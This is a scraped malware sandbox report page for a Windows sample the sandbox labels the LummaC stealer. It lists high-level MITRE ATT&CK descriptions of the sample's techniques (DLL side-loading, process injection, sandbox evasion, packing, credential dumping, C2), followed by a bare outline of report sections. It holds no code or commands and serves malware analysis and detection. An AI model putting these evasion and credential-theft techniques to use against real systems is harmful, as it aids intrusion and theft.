Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 74

Windows Analysis Report
file.exe